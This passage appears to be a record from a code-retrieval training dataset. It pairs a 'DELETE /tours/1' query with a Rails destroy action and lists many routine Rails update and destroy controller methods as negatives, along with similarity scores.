format.html { render :edit }\n format.json { render json: @tale.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @toy_act = ToyAct.find(params[:id])\n\n respond_to do |format|\n if @toy_act.update_attributes(params[:toy_act])\n format.html { redirect_to @toy_act, :notice => 'Toy act was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @toy_act.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\n if @tale.update(tale_params)#\n # prevention of identity theft\n @tale.user_id = current_user.id\n @tale.save \n format.html { redirect_to '/', notice: 'Tale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tale.errors, status: :unprocessable_entity }\n end\n\n\n\n\n\n end\n end", "def update\n @tutor = Tutor.find(params[:id])\n params[:tutor].delete :user_id\n params[:tutor].delete :approved\n respond_to do |format|\n if @tutor.update_attributes(params[:tutor])\n format.html { redirect_to @tutor, notice: 'Tutor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tutor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trip_todo.update(trip_todo_params)\n format.html { redirect_to @trip_todo, notice: 'Trip todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_todo }\n else\n format.html { render :edit }\n format.json { render json: @trip_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sour.update(sour_params)\n format.html { redirect_to swits_path, notice: 'sour <3.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toyotum.update(toyotum_params)\n format.html { redirect_to @toyotum, notice: 'Toyotum was successfully updated.' }\n format.json { render :show, status: :ok, location: @toyotum }\n else\n format.html { render :edit }\n format.json { render json: @toyotum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @chronicle.update(chronicle_params)\n format.html { redirect_to @chronicle, notice: t('flash_message.notice.successfully_updated', model: Chronicle.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tpago = Tpago.find(params[:id])\n\n respond_to do |format|\n if @tpago.update_attributes(params[:tpago])\n format.html { redirect_to(@tpago, :notice => 'Tpago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tpago.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tourtwo.update(tourtwo_params)\n format.html { redirect_to @tourtwo, notice: 'Tourtwo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tourtwo }\n else\n format.html { render :edit }\n format.json { render json: @tourtwo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, notice: 'Tecnico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @uchronist = Uchronist.find(params[:id])\n\n respond_to do |format|\n if @uchronist.update_attributes(params[:uchronist])\n format.html { redirect_to @uchronist, notice: 'Uchronist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uchronist.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n if @apunte.update_attributes(params[:apunte])\n format.html { redirect_to @apunte, notice: 'Apunte was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apunte.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour_detail.update(tour_detail_params)\n format.html { redirect_to @tour_detail, notice: 'Tour detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour_detail }\n else\n format.html { render :edit }\n format.json { render json: @tour_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end", "def update\n respond_to do |format|\n if @mod_tour.update(mod_tour_params)\n format.html { redirect_to @mod_tour, notice: 'Mod tour was successfully updated.' }\n format.json { render :show, status: :ok, location: @mod_tour }\n else\n format.html { render :edit }\n format.json { render json: @mod_tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @turno = Turno.find(params[:id])\n\n respond_to do |format|\n if @turno.update(turno_params)\n format.html { redirect_to @turno, notice: 'Turno was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @turno.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kristine_toy.update(kristine_toy_params)\n format.html { redirect_to @kristine_toy, notice: 'Kristine toy was successfully updated.' }\n format.json { render :show, status: :ok, location: @kristine_toy }\n else\n format.html { render :edit }\n format.json { render json: @kristine_toy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @huerto = Huerto.find(params[:id])\n\n respond_to do |format|\n if @huerto.update_attributes(params[:huerto])\n format.html { redirect_to @huerto, notice: 'Huerto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @huerto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @toko.update(toko_params)\n format.html { redirect_to :back, notice: 'Toko telah diperbarui.' }\n format.json { render :show, status: :ok, location: @toko }\n else\n format.html { redirect_to :back }\n format.json { render json: @toko.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @objet = Objet.find(params[:id])\n # @objet.user_id = @user.id\n load_ressources\n respond_to do |format|\n if @objet.update_attributes(params[:objet])\n format.html { redirect_to @objet, notice: 'Objet a été édité avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, :notice=>\"Todo was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@todo.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @todo3.update(todo3_params)\n format.html { redirect_to @todo3, notice: 'Todo3 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @todo3.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @tire = Tire.find(params[:id])\n\n respond_to do |format|\n if @tire.update_attributes(params[:tire])\n format.html { redirect_to(@tire, :notice => 'Tire was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @chest_triceps1.update(chest_triceps1_params)\n format.html { redirect_to \"/chest_triceps1s\" } \n format.json { render :show, status: :ok, location: @chest_triceps1 }\n else\n format.html { render :edit }\n format.json { render json: @chest_triceps1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @treinamento_ti.update(treinamento_ti_params)\n format.html { redirect_to @treinamento_ti, notice: 'Treinamento de TI atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @treinamento_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @troop_detail.update(troop_detail_params)\n format.html { redirect_to @troop_detail, notice: 'Detalle tropa exitosamente actualizado.' }\n format.json { render :show, status: :ok, location: @troop_detail }\n else\n format.html { render :edit }\n format.json { render json: @troop_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiempo.update(tiempo_params)\n format.html { redirect_to @tiempo, notice: 'Tiempo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tiempo }\n else\n format.html { render :edit }\n format.json { render json: @tiempo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @treino.update(treino_params)\n format.html { redirect_to @treino, notice: 'Treino was successfully updated.' }\n format.json { render :show, status: :ok, location: @treino }\n else\n format.html { render :edit }\n format.json { render json: @treino.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trecho = Trecho.find(params[:id])\n\n respond_to do |format|\n if @trecho.update_attributes(params[:trecho])\n format.html { redirect_to @trecho, notice: 'Trecho was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trecho.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @tecido.update(tecido_params)\n format.html { redirect_to @tecido, notice: 'Tecido was successfully updated.' }\n format.json { render :show, status: :ok, location: @tecido }\n else\n format.html { render :edit }\n format.json { render json: @tecido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo.update(todo_params)\n respond_with(@user, @todo)\n end", "def update\n respond_to do |format|\n if @tattoo.update(tattoo_params)\n format.html { redirect_to @tattoo, notice: 'Tattoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tattoo }\n else\n format.html { render :edit }\n format.json { render json: @tattoo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end", "def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tottle.update(tottle_params)\n format.html { redirect_to @tottle, notice: 'Tottle was successfully updated.' }\n format.json { render :show, status: :ok, location: @tottle }\n else\n format.html { render :edit }\n format.json { render json: @tottle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @tenure = Tenure.find(params[:id])\n\n respond_to do |format|\n if @tenure.update_attributes(params[:tenure])\n format.html { redirect_to @tenure, notice: 'Tenure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n team_name = params[:name]\n team_description = params[:description]\n team_id = params[:id]\n\n respond_to do |format|\n if OkrTeam.where(id: team_id).update_all(name: team_name, description: team_description)\n format.json { render json: 'Team is updated successfully!', status: :ok }\n else\n format.json { render json: 'Error!', status: :unprocessable_entity }\n end\n end\n end", "def update\n @tetramod = Tetramod.find(params[:id])\n\n respond_to do |format|\n if @tetramod.update_attributes(params[:tetramod])\n format.html { redirect_to @tetramod, notice: 'Tetramod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tetramod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @titulacion.update(titulacion_params)\n format.html { redirect_to @titulacion, notice: 'Titulacion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @titulacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n if @trail.update_attributes(params[:trail])\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @todoa.update(todoa_params)\n format.html { redirect_to todoas_url }\n format.json { render :show, status: :ok, location: @todoa }\n else\n format.html { render :edit }\n format.json { render json: @todoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n if @leito.update_attributes(params[:leito])\n format.html { redirect_to @leito, notice: 'Leito was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @leito.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n if @trail.update_attributes(params[:trail])\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if :opr == 'edit'\n update\n else\n @team = Team.find_by_id(params[:id])\n @team.update_attributes({:id => params[:id], :name => params[:name], :status => params[:status]})\n\n if request.xhr?\n render :json => @team\n end\n end\n end", "def update\n @core_termo_lacre = Core::TermoLacre.find(params[:id])\n\n respond_to do |format|\n if @core_termo_lacre.update_attributes(params[:core_termo_lacre])\n format.html { redirect_to @core_termo_lacre, notice: 'Termo lacre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_termo_lacre.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tour_date = TourDate.find(params[:id])\n\n respond_to do |format|\n if @tour_date.update_attributes(params[:tour_date])\n format.html { redirect_to @tour_date, notice: 'Tour date was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tour_date.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tercero.update(tercero_params)\n format.html { redirect_to @tercero, notice: 'Tercero was successfully updated.' }\n format.json { render :show, status: :ok, location: @tercero }\n else\n format.html { render :edit }\n format.json { render json: @tercero.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.64515835", "0.6234317", "0.620462", "0.6192293", "0.6192293", "0.61782444", "0.61735815", "0.6166202", "0.6142134", "0.6128434", "0.6121596", "0.61191964", "0.6104709", "0.6104709", "0.6103473", "0.609755", "0.6092677", "0.6072948", "0.6031876", "0.6031763", "0.60260326", "0.6024634", "0.59956086", "0.5980072", "0.5977088", "0.5973403", "0.5965733", "0.59637874", "0.59617215", "0.5954139", "0.5950941", "0.59498614", "0.594925", "0.59490305", "0.59365165", "0.59321344", "0.5922722", "0.5920244", "0.59191954", "0.59128976", "0.59124964", "0.59107876", "0.5909689", "0.5904932", "0.58882385", "0.5885289", "0.5884041", "0.5881192", "0.58780795", "0.5875521", "0.5874929", "0.5870507", "0.5865092", "0.58612937", "0.58612245", "0.58596706", "0.5859247", "0.5857739", "0.5856572", "0.5851261", "0.5850088", "0.5848106", "0.58405745", "0.583678", "0.58317417", "0.58302414", "0.5825941", "0.58219916", "0.58133733", "0.5800918", "0.580034", "0.5793268", "0.57894164", "0.57887703", "0.57885945", "0.57873034", "0.57853985", "0.5784043", "0.57776624", "0.57776546", "0.577401", "0.57739115", "0.5772043", "0.57702005", "0.57695305", "0.57676196", "0.576108", "0.5759676", "0.57593745", "0.5758416", "0.5749438", "0.5749438", "0.5747516", "0.57447934", "0.57439923", "0.5738117", "0.5735982", "0.5731804", "0.5728468", "0.57279843", "0.5725535" ]
0.0
-1
DELETE /tours/1 DELETE /tours/1.json
def destroy if params[:picture_id] delete_picture(params[:picture_id]) respond_to do |format| format.html { redirect_to tour_url(@tour.id), notice: 'Image was successfully destroyed.' } format.json { head :no_content } end else @tour.destroy respond_to do |format| format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' } format.json { head :no_content } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @tour = Tour.find_by_url(params[:id])\n @tour.destroy\n\n respond_to do |format|\n format.html { redirect_to(tours_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # @tour = Tour.find(params[:id])\n @tour = Tour.find_by_permalink(params[:id])\n @tour.destroy\n\n respond_to do |format|\n format.html { redirect_to(tours_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n @tour.destroy\n respond_to do |format|\n format.html { redirect_to(tours_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: 'Tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to tours_url, notice: \"Tour was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @attraction_tour = AttractionTour.find(params[:id])\n @tour = @attraction_tour.tour\n @attraction_tour.destroy\n\n respond_to do |format|\n format.html { redirect_to @tour }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if [1,2,3,4].include? @tour.id\n current_user.tours.destroy(@tour.id)\n\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Trasa usunięta z Twojego panelu.\" }\n end\n\n else\n @tour.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Trasa usunięta z Twojego panelu.\" }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @timeline = Timeline.find(params[:id])\n @timeline.destroy\n @orbituarysite = @timeline.orbituarysite\n\n respond_to do |format|\n format.html { redirect_to @orbituarysite }\n format.json { head :no_content }\n end\n end", "def destroy\n @tramite = Tramite.find(params[:id])\n @tramite.destroy\n\n respond_to do |format|\n format.html { redirect_to tramites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mod_tour.destroy\n respond_to do |format|\n format.html { redirect_to mod_tours_url, notice: 'Mod tour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour_detail.destroy\n respond_to do |format|\n format.html { redirect_to tour_details_url, notice: 'Tour detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @torso = Torso.find(params[:id])\n @torso.destroy\n\n respond_to do |format|\n format.html { redirect_to torsos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tenure = Tenure.find(params[:id])\n @tenure.destroy\n\n respond_to do |format|\n format.html { redirect_to tenures_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronist = Uchronist.find(params[:id])\n @uchronist.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :ok }\n end\n end", "def destroy\n @time_visitor = TimeVisitor.find(params[:id])\n @time_visitor.destroy\n\n respond_to do |format|\n format.html { redirect_to tour_visitor_time_visitors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tourney.destroy\n respond_to do |format|\n format.html { redirect_to tourneys_url, notice: 'Tourney was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tourtwo.destroy\n respond_to do |format|\n format.html { redirect_to tourtwos_url, notice: 'Tourtwo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @turno = Turno.find(params[:id])\n @turno.destroy\n\n respond_to do |format|\n format.html { redirect_to turno_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tournament.destroy\n respond_to do |format|\n format.html { redirect_to tournaments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tournament.destroy\n respond_to do |format|\n format.html { redirect_to tournaments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n travel = Travel.find(params[:id])\n travel.destroy\n head 204\n end", "def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tattoo = Tattoo.find(params[:id])\n @tattoo.destroy\n\n respond_to do |format|\n format.html { redirect_to tattoos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tur = Tur.find(params[:id])\n @tur.destroy\n\n respond_to do |format|\n format.html { redirect_to(turs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n # @tourism_article = TourismArticle.find(params[:id])\n @tourism_article.destroy\n\n respond_to do |format|\n format.html { redirect_to tourism_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @huerto = Huerto.find(params[:id])\n @huerto.destroy\n\n respond_to do |format|\n format.html { redirect_to huertos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tribe.destroy\n respond_to do |format|\n format.html { redirect_to tribes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if signed_in?\n @tourtable = Tourtable.find(params[:id])\n @tourtable.destroy\n\n respond_to do |format|\n format.html { redirect_to tourtables_url }\n format.json { head :no_content }\n end\n end\nend", "def destroy\n @tatoo.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "def destroy\n @sour = @swit.sours.find(params[:id])\n @sour.destroy\n respond_to do |format|\n format.html { redirect_to swit_sours_path(@swit) }\n format.json { head :no_content }\n\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tour_date = TourDate.find(params[:id])\n @tour_date.destroy\n\n respond_to do |format|\n format.html { redirect_to tour_dates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour = Tour.find(params[:id])\n @venue = get_venue \n @tour.destroy\n\n respond_to do |format|\n format.html { redirect_to venue_path(@venue) }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n render json: @tutorial\n end", "def destroy\n @torneo = Torneo.find(params[:id])\n @torneo.destroy\n\n respond_to do |format|\n format.html { redirect_to torneos_url }\n format.json { head :no_content }\n end\n end", "def destroy \n\n \n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.json { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n if @tour.update_attributes({:removed => true})\n respond_to do |format|\n format.html { redirect_to \"/organizers/#{@tour.organizer.to_param}/guided_tour\", flash: {success: t('tours_controller_destroy_notice')} }\n format.json { head :no_content }\n end\n else\n format.html { redirect_to \"/organizers/#{@tour.organizer.to_param}/guided_tour\", flash: {error: t('tours_controller_destroy_notice_fail')} }\n format.json { head :no_content }\n end\n end", "def destroy\n @tramite.destroy\n respond_to do |format|\n format.html { redirect_to tramites_url, notice: 'Tramite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trecho = Trecho.find(params[:id])\n @trecho.destroy\n\n respond_to do |format|\n format.html { redirect_to trechos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dinosaur = Dinosaur.find(params[:id])\n @dinosaur.destroy\n\n respond_to do |format|\n format.html { redirect_to dinosaurs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to lores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tire = Tire.find(params[:id])\n @tire.destroy\n\n respond_to do |format|\n format.html { redirect_to(tires_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @todoroute.destroy\n respond_to do |format|\n format.html { redirect_to todoroutes_url, notice: 'Todoroute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trajet.destroy\n respond_to do |format|\n format.html { redirect_to trajets_url, notice: 'Trajet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @click_thru = ClickThru.find(params[:id])\n @click_thru.destroy\n\n respond_to do |format|\n format.html { redirect_to click_thrus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tour_request.destroy\n respond_to do |format|\n format.html { redirect_to tour_requests_url, notice: 'Tour request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutor = Tutor.find(params[:id])\n @tutor.destroy\n\n respond_to do |format|\n format.html { redirect_to tutors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: \"Travel was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @trio.destroy\n respond_with(@trio, :location => trios_url)\n end", "def destroy\n @travel.destroy\n respond_to do |format|\n format.html { redirect_to travels_url, notice: 'Travel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @treinamento_ti.destroy\n respond_to do |format|\n format.html { redirect_to treinamentos_ti_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @situacion_revistum = SituacionRevistum.find(params[:id])\n @situacion_revistum.destroy\n\n respond_to do |format|\n format.html { redirect_to situacion_revista_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tropa.destroy\n respond_to do |format|\n format.html { redirect_to tropas_url, notice: 'Tropa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :ok }\n end\n end", "def destroy\n @lector = Lector.find(params[:id])\n @lector.destroy\n\n respond_to do |format|\n format.html { redirect_to lectores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip = Trip.find(params[:id])\n @trip.destroy\n\n respond_to do |format|\n format.html { redirect_to trips_url }\n format.json { head 